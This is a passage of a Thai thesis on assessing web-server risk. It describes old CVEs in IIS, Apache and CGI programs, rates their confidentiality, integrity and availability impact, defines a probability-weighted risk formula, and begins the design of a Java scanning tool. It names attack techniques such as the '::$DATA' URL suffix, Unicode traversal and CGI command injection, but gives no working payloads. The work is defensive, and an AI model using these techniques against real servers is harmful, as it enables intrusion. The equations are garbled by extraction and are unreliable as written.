เรียกดูขอมูลในไดเรกทอรี) เกิดจากการสงผานคาพารามิเตอรภายในโปรแกรมวิวซอรส 

(ViewSource) ทําใหสามารถเรียกดูขอมูลในไดเรกทอรีตางๆ บนเครื่องที่ใหบริการเว็บเซิรฟเวอรได

จึงสงผลกระทบตอการรักษาความลับในระดับสูง นอกจากนั้นสามารถสงคําสั่งไปทํางานบนเครื่อง

ที่ใหบริการเว็บเซิรฟเวอรไดโดยใชสิทธิของผูใชงาน ดังนั้นจึงสงผลกระทบตอการบูรณภาพขอมูล
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ในระดับปานกลาง แตไมสงผลกระทบตอสภาพพรอมใชงานของระบบเนื่องจากระบบยังสามารถ

ใหบริการไดโดยปกติ 

จุดบกพรองซีวีอี 1999-0191 (คาโดยปริยายของไอไอเอส) เปนจุดบกพรองที่

เกิดเมื่อติดตั้งไอไอเอสเว็บเซิรฟเวอรโดยโปรแกรมจะติดตั้งแฟมขอมูล Newdsn.exe ใหโดยปริยาย 

ซึ่งแฟมขอมูลดังกลาวมีจุดบกพรองคือทําใหสามารถสงคําสั่งผานทางโปรแกรมดังกลาวเพื่อสราง

แฟมขอมูลของโปรแกรมไมโครซอฟทแอ็กเซส (*.mdb) ได ดังนั้นจึงสงผลกระทบตอการบูรณภาพ

ขอมูลในระดับสูงเนื่องจากทําใหขอมูลในเว็บเซิรฟเวอรถูกเปลี่ยนไป นอกจากนั้นยังสงผลกระทบ

ตอการรักษาความลับขอมูลในระดับปานกลางเนื่องจากสามารถเรียกดูแฟมขอมูลที่มีอยูในระบบ

ได แตทั้งนี้ไมสงผลกระทบตอสภาพพรอมใชงานของระบบเพราะระบบสามารถใหบริการไดปกติ 

จุดบกพรองซีวีอี 1999-0237 (ปญหาพารามิเตอรของซีจีไอสมุดเยี่ยมชม
เว็บเพจ) เปนจุดบกพรองของโปรแกรมสมุดลงชื่อเยี่ยมชมเว็บเพจ (Guestbook) ซึ่งเปนอีก

โปรแกรมหนึ่งที่พัฒนาดวยซีจีไอ และมีจุดบกพรองที่ทําใหสามารถสงคําสั่งการทํางานเขาไปยัง

เครื่องที่ใหบริการเว็บเซิรฟเวอรได ซึ่งจากจุดบกพรองดังกลาวสงผลใหสามารถเรียกใชคําสั่งตางๆ 

เพื่อส่ังใหเครื่องเปดดูขอมูล แกไขขอมูลตลอดจนปดการบริการบางอยางบนเครื่องได ดังนั้น

จุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับ การบูรณภาพ และสภาพพรอมใชงานของ

ระบบในระดับปานกลางเนื่องจากสิทธิในการทํางานคําสั่งตางๆ เปนสิทธิของผูใชงาน 

จุดบกพรองซีวีอี 1999-0260 (คาโดยปริยายของเว็บเซิรฟเวอร) จาก

โปรแกรมเจเจ (jj) ซึ่งเปนตัวอยางโปรแกรมซีจีไอที่พัฒนาดวยภาษาซี ซึ่งเมื่อติดตั้งเว็บเซิรฟเวอร

บางรุนจะทําการติดตั้งใหเพื่อเปนตัวอยางซีจีไอโปรแกรม ซึ่งโปรแกรมดังกลาวมีจุดบกพรองคือ

สามารถสงคําสั่งไปทํางานบนเครื่องที่ใหบริการเว็บเซิรฟเวอร โดยคําสั่งที่สงไปทํางานนัน้จะทาํงาน

ดวยสิทธิของผูใชงานของโปรแกรมเจเจ ซึ่งสิทธิของโปรแกรมเจเจไมสามารถเรียกใชคําสั่งที่เปน

คําสั่งของผูใชงานสูงสุดของระบบได ดังนั้นจุดบกพรองดังกลาวจึงสงผลกระทบตอการรักษา-

ความลับ การบูรณภาพ และสภาพพรอมใชงานของระบบในระดับปานกลาง 

จุดบกพรองซีวีอี 1999-0262 (ปญหาพารามิเตอรของซีจีไอฮาลาแฟกซ) 
จากโปรแกรมฮาลาแฟกซ  (HylaFAX) ซึ่งเปนโปรแกรมที่ใชสงแฟกซแบบระบบรับ-ใหบริการ 

(Client-Server system) นั้นมีบางสวนท่ีทํางานบนเว็บเซิรฟเวอรซึ่งประกอบดวยสวนที่ใชสํารวจ

ความคิดเห็นของผูใชงานโปรแกรมที่เรียกวาแฟกซเซอเวย (Faxsurvey) ในสวนนี้เองที่เปน

จุดบกพรองที่เกิดจากความผิดพลาดในการพัฒนาโปแกรมแบบซีจีไอสงผลใหสามารถสงคําสั่งการ

ทํางานไปทํางานบนเครื่องที่ใหบริการเว็บเซิรฟเวอรไดซึ่งคําส่ังที่สงไปทํางานน้ันจะไมสงผลตอ



 27 

สภาพพรอมใชงานของระบบ แตอาจทําใหเรียกดูและแกไขขอมูลในระบบได ดังนั้นจึงสงผล

กระทบตอการรักษาความลับและการบูรณภาพขอมูลในระดับปานกลาง 

จุดบกพรองซีวีอี 1999-0264 (ปญหาพารามิเตอรของซีจีไอเอชทีเอ็มแอล
สคริปต) เปนจุดบกพรองที่เกิดจากโปรแกรมซีจีไอ ชื่อเอชทีเอ็มแอลสคริปต (Htmlscript) เปน

โปรแกรมที่ทํางานบนเว็บเซิรฟเวอรและมีจุดบกพรองที่ทําใหสามารถเรียกดูขอมูลอ่ืนๆ ที่อยูบน

เครื่องที่ใหบริการเว็บเซิรฟเวอรและติดตั้งโปรแกรมดังกลาวไวได โดยการสงคําสั่งเพื่อใชในการ

เรียกดูขอมูลผานทางโปรแกรมดังกลาวเขาไปยังเครื่องที่ใหบริการ ดังนั้นจุดบกพรองซีวีอี 1999-

0264 จึงสงผลกระทบตอการรักษาความลับในระดับสูงเพียงอยางเดียว 

จุดบกพรองซีวีอี 1999-0266 (ปญหาพารามิเตอรของซีจีไออินโฟทู
เวิลดไวดเว็บ) เปนจุดบกพรองที่เกิดจากโปรแกรมอินโฟทูเวิลดไวดเว็บ (Info2www) ซึ่งเปน

โปรแกรมที่ใชในการแปลงโหนดของจีเอ็นยู (GNU info nodes) เปนเอกสารเอชทีเอ็มแอลเพื่อให

สามารถเรียกดูโหนดตางๆ ผานทางเว็บเพจได ซึ่งจุดบกพรองที่เกิดจากโปรแกรมนี้คือการ

ตรวจสอบคาที่สงผานโปรแกรมไปยังเว็บเซิรฟเวอรที่ใหผูใชงานสามารถสงผานคําสั่งการทํางานไป

ทํางานบนเครื่องที่ใหบริการเว็บเซิรฟเวอรไดทั้งนี้สิทธิของคําสั่งที่ทํางานมิไดทํางานในสิทธิของ

ผูใชงานสูงสุด ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับ การบูรณภาพ และสภาพ

พรอมใชงานในระดับปานกลาง 

จุดบกพรองซีวีอี 1999-0278 (ปญหาพารามิเตอรของเอเอสพี) เกิดจากการ

พัฒนาโปรแกรมดวยเอเอสพี (Active Server Pages : ASP) ซึ่งทํางานบนไอไอเอสเว็บเซิรฟเวอรมี

จุดบกพรองคือ การเรียกดูแฟมขอมูลไดดวยการสงผานคา ::$DATA ไปกับยูอารแอลที่ใชในการ

รองขอขอมูลเอชทีทีพี ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับในระดับสูง แต

ทั้งนี้ไมสงผลกระบทบตอการบูรณภาพ เนื่องจากขอมูลไมไดถูกแกไขเปลี่ยนแปลง และไมสงผลตอ

สภาพพรอมใชงาน เนื่องจากระบบยังสามารถใหบริการไดปกติ 

จุดบกพรองซีวีอี 1999-0874 (ปญหาการปรับแตงพารามิเตอรไอไอเอส) 
เปนจุดบกพรองที่เกิดกับไอไอเอสเว็บเซิรฟเวอร คือเมื่อทําการสงผานคาพารามิเตอรไปยังเว็บ

เซิรฟเวอรโดยผานแฟม .HTR .STM และ .IDC ซึ่งแฟมขอมูลดังกลาวจะไปเรียกใชแฟมขอมูลดี

แอลแอล (Dynamic link libraby : DLL) เพื่อใหทํางาน ซึ่งหากมีการสงผานคาพารามิเตอรที่ผิด

รูปแบบเพื่อใหแฟมขอมูลดังกลาวทํางานแลวนั้นอาจทําใหเกิดหนวยความจําทวมลนซึ่งเปนการ

โจมตีแบบดีโอเอสได ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอสภาพพรอมใชงานของระบบใน

ระดับสูง แตไมสงผลกระทบตอการรักษาความลับ และการบูรณภาพ 
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จุดบกพรองซีวีอี 2000-0010 (ปญหาพารามิเตอรของซีจีไอเว็บฮู) เปน

จุดบกพรองที่เกิดกับโปรแกรมเว็บฮู (Webwho+) ซึ่งเปนโปรแกรมที่ใชในการเรียกใชคําสั่งฮูอิส 

(Whois) ผานทางเครื่องที่ใหบริการเว็บเซิรฟเวอร ซึ่งโปรแกรมดังกลาวมีจุดบกพรองคือสามารถ

สงผานคาพารามิเตอรเพื่อส่ังใหเครื่องที่ใหบริการเว็บเซิรฟเวอรทํางานคําสั่งตางๆ ในสิทธิของ

ผูใชงานสูงสุดได ดังนั้นจุดบกพรองนี้จึงมีผลกระทบตอการรักษาความลับ การบูรณภาพ และ

สภาพพรอมใชงานในระดับสูง 

จุดบกพรองซีวีอี 2000-0208 (ปญหาพารามิเตอรของโมดูล htsearch) เกิด

จากโปรแกรมเอชทีดีไอจี (htdig) ซึ่งทําหนาที่ในการจัดการดัชนีของเว็บเพื่อใชในการคนหาขอมูล 

ในระบบอินทราเน็ทหรือระบบโดเมนขนาดเล็ก โดยจุดบกพรองที่เกิดขึ้นนั้นสามารถสงผาน

คาพารามิเตอรผานทางโมดูล htsearch เพื่อเขาไปเรียกดูขอมลูบนเครื่องที่ใหบริการเว็บเซิรฟเวอร

นั้นได ดังนั้นจุดบกพรองซีวีอี 2000-0208 จึงมีผลกระทบตอการรักษาความลับในระดับสูง แตไมมี

ผลกระทบตอการบูรณภาพขอมูลเนื่องจากไมสามารถเปลี่ยนแปลงขอมูลได และไมมีผลกระทบตอ

สภาพพรอมใชงาน เนื่องจากเครื่องเซิรฟเวอรยังสามารถใหบริการไดอยางปกติ 

จุดบกพรองซีวีอี 2000-0226 (ปญหาขนาดการเขารหัส) เกิดจากการไมมกีาร

จํากัดขนาดของการเขารหัสแบบเปนกลุมกอน (Chunked encoding) ในการสงขอมูลดังนั้นจึงทํา

ใหเกิดหนวยความจําทวมลน นอกจากนั้นยังทําใหมีการเปดชวงเวลา (Session) ในการสงขอมลูไว

โดยไมมีการสงขอมูล ดวยเหตุนี้เองทําใหจุดบกพรองซีวีอี 2000-0226 สงผลกระทบตอสภาพ

พรอมใชงานในระดับสูง แตไมมีผลกระทบตอการรักษาความลับ และการบูรณภาพ 

จุดบกพรองซีวีอี 2000-0287 (ปญหาพารามิเตอรของซีจีไอบิสดีบี) เปน

จุดบกพรองของโปรแกรมบิสดีบี (BizDB) ซึ่งเปนโปรแกรมที่ทํางานเกี่ยวกับระบบฐานขอมูล โดย

จุดบกพรองเกิดขึ้นกับสวนของการทําหนาที่ในการคนหาขอมูลซึ่งพัฒนาดวยซีจีไอ ทําใหเกิด

ปญหาในการสงตัวอักษรที่ใชในระบบปฏิบัติการผานทางฟงกชันการทํางานดังกลาวเพื่อสั่งให

ทํางานคําสั่งในระบบปฏิบัติการได ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับ การ

บูรณภาพ และสภาพพรอมใชงานทั้งหมดในระดบัสูง เนื่องจากสามารถสั่งใหทํางานคําสั่งใดๆ บน

ระบบปฏิบัติการได 

จุดบกพรองซีวีอี 2000-0770 (การกําหนดสิทธิไอไอเอส) เปนจุดบกพรองที่

สงผลกระทบกับไอไอเอสเว็บเซิรฟเวอร กลาวคือหากไมมีการกําหนดสิทธิในการเขาถึงโฟลเดอร 

(Folder) ที่เว็บเซิรฟเวอรใหบริการอยางถูกตอง จะทําใหสามารถเขาไปเรียกดูตลอดจนแกไขขอมูล

อ่ืนๆ ที่อยูในเว็บเซิรฟเวอรได ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับ และ
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การบูรณภาพขอมูลในระดับปานกลาง เนื่องจากขอมูลที่ เขาถึงไดมีจํานวนจํากัด แตทั้งนี้

จุดบกพรองนี้ไมสงผลกระทบตอสภาพพรอมใชงานเนื่องจากระบบสามารถใหบริการไดอยางปกติ 

จุดบกพรองซีวีอี 2000-0778 (ปญหาเฮดเดอรแบบพิเศษ) เกิดจากการไม

ควบคุมการใชเฮดเดอรแบบพิเศษ (Specialized header) ในการรองขอขอมูลเอชทีทีพี ทําให

สามารถดูรหัสตนฉบับ (Source code) ของแฟมขอมูลเอเอสพีตลอดจนแฟมขอมูลอ่ืนๆ ที่ทํางาน

อยูบนเว็บเซิรฟเวอรได ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับในระดับสูง แต

ทั้งนี้ไมสงผลกระทบตอการบูรณภาพและสภาพพรอมใชงานเนื่องจากขอมูลไมไดถูกแกไข และ

ระบบยังสามารถใหบริการไดปกติ 

จุดบกพรองซีวีอี 2000-0884 (ปญหาการดูขอมูลในไดเรกทอรีของไอไอ
เอส)  เกิดขึ้นกับไอไอเอสเว็บเซิรฟเวอร สงผลใหสามารถอานขอมูลที่อยูนอกไดเรกทอรีหรือ

โฟลเดอรของเว็บเซิรฟเวอรไดหรือที่เรียกวาการทองไปในโฟลเดอรของเว็บเซิรฟเวอร (Web server 

folder traversal) นอกจากนั้นยังสามารถสงคําสั่งการทํางานไปทํางานบนเครื่องที่มีจุดบกพรอง

ดังกลาวอยูไดดวยการรองขอมูลที่ผิดรูปแบบหรือใชตัวอักษรแบบยูนิโคด (Unicode) ดังนั้น

จุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับในระดับสูง การบูรณภาพในระดับปานกลาง 

และสภาพพรอมใชงานในระดับตํ่า ทั้งนี้เพราะคําสั่งที่สงไปทํางานไดมีจํานวนจํากัด 

จุดบกพรองซีวีอี 2000-0886 (ปญหาพารามิเตอรของไอไอเอส) เปน

จุดบกพรองของไอไอเอสเว็บเซิ รฟเวอร  ซึ่ งส งผลใหสามารถสงคําสั่ งการทํางานของ

ระบบปฏิบัติการไปทํางานบนเครื่องแมขายที่ใหบริการเว็บเซิรฟเวอรผานทางการรองขอขอมูลได 

หรือที่เรียกวาการสงการรองขอแฟมขอมูลจากเว็บเซิรฟเวอร (Web server file request parsing) 

ทั้งนี้คําสั่งที่สงไปทํางานไดนั้นมีจํานวนจํากัดเนื่องจากสิทธิการทํางานของคําสั่งตางๆ มิใชสิทธิ

ของผูใชงานสูงสุด จุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับ และการบูรณภาพในระดับ

ปานกลาง และสงผลกระทบตอสภาพพรอมใชงานในระดับตํ่า 

จุดบกพรองซีวีอี 2000-0941 (ปญหาพารามิเตอรของโปรแกรมเว็บฮู) เปน

จุดบกพรองที่เกิดกับโปรแกรมเว็บฮู ทําใหสามารถสงคําสั่งการทํางานของระบบปฏิบัติการไป

ทํางานยังเครื่องที่มีโปรแกรมดังกลาวใหบริการอยูไดโดยใชการทํางานของซีจีไอ ทั้งนี้คําสั่งการ

ทํางานที่สงไปทํางานนั้นทํางานดวยสิทธิการทํางานของผูใชงานสูงสุด ดังนั้นจุดบกพรองนี้จึงสงผล

กระทบตอการรักษาความลับ การบูรณภาพ และสภาพพรอมใชงานในระดับสูง 
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จุดบกพรองซีวีอี 2001-0151 (ปญหาหนวยความจําทวมลนของโปรแกรม
เว็บ- ดีเอวี) เปนจุดบกพรองที่ทําใหเกิดการโจมตีแบบดีโอเอส ดวยการรองขอขอมูลที่ผิดรูปแบบ

ของการรองขอขอมูลของโปรแกรมเว็บดีเอวี (WebDAV) สงผลใหเกิดหนวยความจําทวมลน ดังนั้น

จุดบกพรองซีวีอี 2001-0151 จึงสงผลกระทบตอสภาพพรอมใชงานในระดับสูง แตทั้งนี้ไมมี

ผลกระทบตอการรักษาความลับและการบูรณภาพแตอยางใด 

จุดบกพรองซีวีอี 2001-0241 (การปรับแตงการสื่อสารระหวางอินเทอรเน็ต
เซิรฟเวอร) เกิดจากการทํางานของการติดตอส่ือสารของโปรแกรมระหวางอินเทอรเน็ตเซิรฟเวอร 

(Internet Server Application Programming Interface : ISAPI) ที่มีจุดบกพรองที่ทําใหสามารถ

เขาถึงเครื่องที่ใหบริการดวยสิทธิของผูใชงานสูงสุดได ทั้งนี้ไมมีการตรวจสอบขนาดของการรองขอ

ขอมูลจึงสามารถทําใหเกิดหนวยความจําทวมลนทําใหเว็บเซิรฟเวอรไมสามารถใหบริการตอไปได 

ดังนั้นจุดบกพรองซีวีอี 2001-0241 สงผลกระทบตอการรักษาความลับ การบรูณภาพ และสภาพ

พรอมใชงานในระดับสูง 

จุดบกพรองซีวีอี 2001-0333 (ปญหาการถอดรหัสยูนิโคด) เกิดจากความ

ผิดพลาดในการถอดรหัส (Decode) ของซีจีไอ ทําใหสามารถสงผานยูนิโคดซึ่งเปนสัญลักษณที่ใช

ในระบบปฏิบัติการเขาไปทํางานได เหตุนี้จึงทําใหสามารถสงคําสั่งของระบบปฏิบัติการเขาไป

ทํางานบนเครื่องที่มีจุดบกพรองนี้ได สงผลใหจุดบกพรองนี้มีผลกระทบตอการรักษาความลับ การ

บูรณภาพและสภาพพรอมใชงานในระดับสูง 

จุดบกพรองซีวีอี 2001-0500 (การปรับแตงสื่อสารระหวางอินเทอรเน็ต
เซิรฟเวอร) เกิดจากความผิดพลาดของสวนตอขยายการติดตอส่ือสารของโปรแกรมระหวาง

อินเทอรเน็ตเซิรฟเวอร ทําใหสามารถสงผานคาพารามิเตอรเขาไปทํางานผานทางแฟมขอมูล .ida 

(Internet Data Administrator) และแฟมขอมูล .idq (Internet Data Query) จึงทําใหเกิด

หนวยความจําทวมลน ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอสภาพพรอมใชงานในระดับสูง แต

ทั้งนี้ไมสงผลกระทบตอการรักษาความลับ และการบูรณภาพ 

จุดบกพรองซีวีอี 2001-0507 (การปรับแตงไอไอเอส) เปนจุดบกพรองของ  

ไอไอเอสเว็บเซิรฟเวอรที่ทําใหสามารถคนหาแฟมขอมูลของระบบ (System file) ที่ทํางานอยูจึงทํา

ใหทราบสิทธิการทํางานตางๆ ที่มีอยู หรือทําหนาที่เปนเหมือนตัวลวง (Trojan horse) ที่ลวงให

ทราบสิทธิการใชงานตางๆ ในระบบ ดังนั้นจุดบกพรองนี้จึงสงผลกระทบตอการรักษาความลับ          

การบูรณภาพ และสภาพพรอมใชงานในระดับสูงทั้งหมด 
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จุดบกพรองซีวีอี 2002-0061 (คาโดยปริยายของอาปาเช) เกิดกับอาปาเช

เว็บเซิรฟเวอรบางรุนที่เมื่อติดตั้งระบบจะติดตั้งตัวอยางซีจีไอให ซึ่งตัวอยางซีจีไอดังกลาวสามารถ

เรียกดูขอมูลในแฟมขอมูล .bat หรือ .cmd ได ดังนั้นจุดบกพรองนี้จึงมีผลกระทบตอการรักษา

ความลับในระดับสูง และสงผลกระทบตอการบูรณภาพในระดับปานกลางเนื่องจากคําสั่งบาง

คําสั่งอาจใชในการแกไขขอมูลได และสงผลกระทบตอสภาพพรอมใชงานในระดับตํ่า เนื่องจาก

การสั่งใหทํางานคําสั่งที่ลงทายดวย .bat หรือ .cmd มีโอกาสที่จะเปนคําสั่งท่ีทําใหระบบหยุดการ

ใหบริการไดนอย 

จุดบกพรองซีวีอี 2002-0082 (ปญหาโมดูลเอสเอสแอลของอาปาเช) เปน

จุดบกพรองที่เกิดจากโมดูลเอสเอสแอล (Secure Socket Layers : SSL) ซึ่งฟงกชันที่ใชในการระบุ

ตัวตนของโมดูลนี้ทําใหเกิดหนวยความจําทวมลนไดเนื่องจากการเพิ่มขนาดของชวงเวลาในการ

เชื่อมตอ ดังนั้นจุดบกพรองซีวีอี 2002-0082 จึงสงผลกระทบตอสภาพพรอมใชงานในระดับสูง แต

ทั้งนี้ไมสงผลกระทบตอการรักษาความลับและการบูรณภาพ 

จุดบกพรองซีวีอี 2002-0392 (ปญหาหนวยความจําทวมลนของขนาดการ
เขารหัส) เปนจุดบกพรองที่เกิดจากการกําหนดขนาดในการเขารหัสเปนกลุมกอนในการรองขอ

ขอมูลเอชทีทีพีซึ่งเหตุนี้เองทําใหเกิดหนวยความจําทวมลน ดังนั้นจุดบกพรองนี้จึงมีผลกระทบตอ

สภาพพรอมใชงานในระดับสูง แตทั้งนี้ไมมีผลกระทบตอการรักษาความลับ และการบูรณภาพ 

จุดบกพรองซีวีอี 2002-0513 (การกําหนดสิทธิโมดูล) เกิดจากโมดูล 

popper_mod ที่เปนโปรแกรมที่พัฒนาดวยพีเอชพี (Hypertext Preprocessor : PHP) เพื่อใชอาน

อีเมลดวยโปรโตคอลปอปเวอรชันสาม (Post office Protocol : POP3) โดยโปรแกรมดังกลาวใชใน

การอานอีเมลผานทางเว็บเซิรฟเวอร เนื่องจากไมมีการตรวจสอบการระบุตัวตนในการจัดการ     

ไดเรกทอรีที่จัดเก็บโปรแกรม  จึงทําใหสามารถแกไขขอมูลผูใชงานตลอดจนรหัสผานได 

จุดบกพรองซีวีอี 2002-0513 จึงมีผลกระทบตอการรักษาความลับ การบูรณภาพและสภาพพรอม

ใชงานในระดับสูงทั้งหมด เนื่องจากสามารถแกไขสิทธิการใชงานของผูใชงานใดๆ ได 

3.3 ความนาจะเปนที่จะพบจุดบกพรอง (Pi) 

จากการวิเคราะหความเสี่ยง [7] พบวาจุดบกพรองใดที่มีความนาจะเปนในการ

ตรวจสอบพบมากจะมีความเสี่ยงในการถูกบุกรุกผานทางจุดบกพรองนั้นๆ  ไดสูงกวาจดุบกพรองที่

มีการตรวจสอบพบนอยกวา ดังนั้นจึงกําหนดวิธีการจัดเก็บคาความนาจะเปนเพื่อใชเปนขอมูลใน

การประเมินความเสี่ยงของเว็บเซิรฟเวอรอ่ืนๆ ตอไป การจัดเก็บและคํานวณคาความนาจะเปน
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ของการตรวจพบจุดบกพรองใดๆ นั้น ใชวิธีการสงรายการรองขอขอมูล (รายการที่ใชตรวจสอบ

จุดบกพรองที่ไดจากขั้นตอนที่ 3.1) ไปยังเว็บเซิรฟเวอรตางๆ และนําผลการตอบสนองมาคํานวณ

คาความนาจะเปนในการตรวจพบจุดบกพรอง ดังสมการ 

m

X
P

m

s
i

i

∑
== 1

 

 

Pi  คือคาความนาจะเปนที่จะตรวจพบจุดบกพรองซึ่งคํานวณจาก

กลุมของเว็บเซิรฟเวอรจํานวน m เว็บเซิรฟเวอร 

Xi  คือจุดบกพรองที่ทําการตรวจสอบ มีคาเปน 1 ถาพบจุดบกพรอง

ใดๆ บนเว็บเซิรฟเวอร (เมื่อเว็บเซิรฟเวอรตอบสนองการรองขอขอมูลรายการใดรายการหนึ่งที่ใช

ตรวจสอบจุดบกพรองนั้นๆ) และมีคาเปน 0 เมื่อไมพบจุดบกพรองใดๆ บนเว็บเซิรฟเวอร (เมื่อเว็บ

เซิรฟเวอรไมตอบสนองการรองขอขอมูลใดๆ ที่ใชตรวจสอบจุดบกพรองนั้น)   

  m  คือจํานวนเว็บเซิรฟเวอรทั้งหมดที่ใชคํานวณคาความนาจะเปน 

i  คือลําดับของจุดบกพรองซีวีอี 

3.4 การคํานวณคาความเสี่ยง 

การประเมนิความเสีย่งสามารถหาคาความเสี่ยงไดจากสมการ 

ความเสี่ยงของเว็บเซิรฟเวอร =∑
=

n

i
iii PWX

1
 

 Xi  คือจุดบกพรองที่ทําการตรวจสอบ มีคาเปน 1 ถาพบจุดบกพรอง

ใดๆ บนเว็บเซิรฟเวอร (เมื่อเว็บเซิรฟเวอรตอบสนองการรองขอขอมูลรายการใดรายการหนึ่งที่ใช

ตรวจสอบจุดบกพรองนั้นๆ) และมีคาเปน 0 เมื่อไมพบจุดบกพรองใดๆ บนเว็บเซิรฟเวอร (เมื่อเว็บ

เซิรฟเวอรไมตอบสนองการรองขอขอมูลใดๆ ที่ใชตรวจสอบจุดบกพรองนั้น)   

 Wi  คือคาถวงน้ําหนักของระดับผลกระทบจําแนกตามประเภทความ

เสียหายมีคาตั้งแต 0 ถึง 9 ตามระดับของผลกระทบซึ่ง 0 คือไมมีผลกระทบตอระบบและ 9 

หมายถึงมีผลกระทบในระดับสูงสุด 

 Pi  คือคาความนาจะเปนที่จะพบจุดบกพรองที่คํานวณจากกลุมของ

เว็บเซิรฟเวอรที่ตองการนํามาเปรียบเทียบ 
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i  คือลําดับของจุดบกพรองซีวีอี 

n  คือจํานวนซีวีอีทั้งหมดที่ใชพิจารณาในงานวิจัยนี้มีจํานวน

ทั้งหมด 33 รายการ 

คาความเสี่ยงที่คํานวณไดแสดงถึงโอกาสที่เว็บเซิรฟเวอรจะถูกบุกรุกโดยหากเว็บ

เซิรฟเวอรใดมีคาความเสี่ยงสูงหมายถึงเว็บเซิรฟเวอรนั้นอาจถูกบุกรุกหรือมีโอกาสท่ีจะทํางาน

ผิดพลาดไดมากกวาเว็บเซิรฟเวอรที่มีคาความเสี่ยงต่ํากวา และเว็บเซิรฟเวอรนั้นควรไดรับการดูแล

เอาใจใสจากผูดูแลระบบเปนลําดับแรกซึ่งแนวทางการแกไขสามารถทําไดเชน การปรับเปลี่ยนเว็บ

เซิรฟเวอร การปรับปรุงคาคอนฟกของเว็บเซิรฟเวอร เปนตน 

 

 



 

บทที่  4 
 

การออกแบบและพัฒนาเครื่องมือเพื่อใชประเมินความเสี่ยง 

ในบทนี้จะกลาวถึงการออกแบบและพัฒนาโปรแกรมเพื่อใชประเมินความเสี่ยง

ของเว็บเซิรฟเวอรโดยโปรแกรมที่พัฒนาขึ้นนั้นทําหนาที่ในการสงรายการรองขอขอมูลที่ใชในการ

ตรวจสอบจุดบกพรองตางๆ และรับผลการตอบสนองขอมูลกลับมาประมวลผลเพื่อออกรายงาน

แสดงคาความเสี่ยงใหแกผูใชงาน ทั้งนี้โปรแกรมที่พัฒนาไดใชสถาปตยกรรมที่นําเสนอในบทที่ 3 

ในการประเมินความเสี่ยงของเว็บเซิรฟเวอร โดยมีรายละเอียดการพัฒนาดังนี้ 

 

4.1 เครื่องมือที่ใชในการพัฒนา 
4.1.1 โปรแกรมเจบิลเดอร เวอรชัน 9 (JBuilder Version 9) ใชชวยในการพัฒนาโปรแกรม

ประเมินความเสี่ยงของเว็บเซิรฟเวอร ดวยภาษาจาวาทั้งในสวนของหนาจอและสวนของการ

ทํางานของโปรแกรม 

4.1.2 โปรแกรมไมโครซอฟทแอ็กเซส เวอรชัน 2003 (Microsoft Access Version 2003) 

ใชในการพัฒนาฐานขอมูลเพื่อจัดเก็บขอมูลโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอร 

 

4.2 การออกแบบสถาปตยกรรมระบบ 

การออกแบบสถาปตยกรรมของระบบ ออกแบบโดยใชหลักการออกแบบการ

ทํางานสวนตางๆ เปนแบบสามชั้น (Three Tiers) ซึ่งสามารถแสดงไดดวยแผนภาพดีพลอยเมนต 

ดังในรูปที่ 4.1 ซึ่งประกอบดวย 3 สวนคือ 

4.2.1 สวนของเว็บเซิรฟเวอรที่ทําการตรวจสอบซึ่งติดตอกับสวนของโปรแกรมที่ใช

ตรวจสอบดวยโปรโตคอลเอชทีทีพี โดยเว็บเซิรฟเวอรจะทําการรับรายการรองขอขอมูลและ

ตอบสนองผลการรองขอขอมูลดังกลาวมายังโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรเพื่อนํา

ผลการตอบสนองดังกลาวไปประมวลผลตอไป 

4.2.2 สวนของโปรแกรมที่ใชในการประเมินความเสี่ยงของเว็บเซิรฟเวอรหรือเคร่ืองลูกขาย

ที่ติดตั้งโปรแกรมที่ใชในการประเมินความเสี่ยงของเว็บเซิรฟเวอร ซึ่งโปรแกรมประเมินความเสี่ยง

ของเว็บเซิรฟเวอรจะทําหนาที่หลักคือสงรายการรองขอขอมูลและรับผลการตอบสนองกลับมาเพื่อ

คํานวณคาความเสี่ยง นอกจากนั้นยังทําหนาที่ในการจัดการขอมูลที่สนับสนุนการประเมินความ

เสี่ยงโดยทําหนาที่ติดตอกับฐานขอมูลของระบบ ตลอดจนออกรายงานสรุปผลการประเมินความ
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เส่ียงของเว็บเซิรฟเวอรใหกับผูใชงานอีกดวย โดยฟงกชันการทํางานทั้งหมดจะอธิบายดวย

แผนภาพยูสเคสในสวนของการออกแบบโปรแกรมประยุกตตอไป 

4.2.3 สวนขอมูลเปนสวนที่ทําหนาที่จัดเก็บขอมูลที่ใชในการประเมินความเสี่ยงของเว็บ

เซิรฟเวอรซึ่งประกอบดวยดาตาเบสเซิรฟเวอรที่ทําการติดตอกับโปรแกรมโดยใชโอดีบีซี (Open 

Database Connectivity : ODBC) ในการติดตอส่ือสารระหวางกัน 

 

 
 

รูปที่ 4.1 แผนภาพดีพลอยเมนตแสดงโครงสรางสถาปตยกรรมของระบบ 

 

4.3 การออกแบบโปรแกรมประเมินความเสีย่งของเว็บเซิรฟเวอร 

การออกแบบระบบใชหลักการออกแบบระบบ ใหแตละสวนมีหนาที่การทํางาน

เปนอิสระตอกัน และมีขอบเขตความรับผิดชอบที่ชัดเจน โดยใชแนวคิดเชิงวัตถุ (Object-Oriented 

Paradigm) ซึ่งประกอบไปดวย 
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4.3.1 การออกแบบโครงสรางการทํางานของโปรแกรม 

การออกแบบโครงสรางการทํางานของโปรแกรมเปนการกําหนดการทํางาน

พื้นฐานซึ่งสนับสนุนการประเมินความเสี่ยงของเว็บเซิรฟเวอรตามสถาปตยกรรมที่ออกแบบในบท

ที่ 3 โดยฟงกชันการทํางานของโปรแกรมประเมินความเสี่ยงของเว็บเซิรฟเวอรที่กําหนดแสดงดวย

แผนภาพยูสเคส ดังรูปที่ 4.2 และรายละเอียดของการทํางานของแตละสวน สามารถอธิบายได

ดังนี้ 

4.3.1.1 สวนจัดการขอมูลระดับผลกระทบ ขอมูลระดับผลกระทบเปนขอมูลที่ใช

ในการกําหนดระดับคาถวงน้ําหนักของผลกระทบที่ใชในการคํานวณคาความเสี่ยงของแตละ

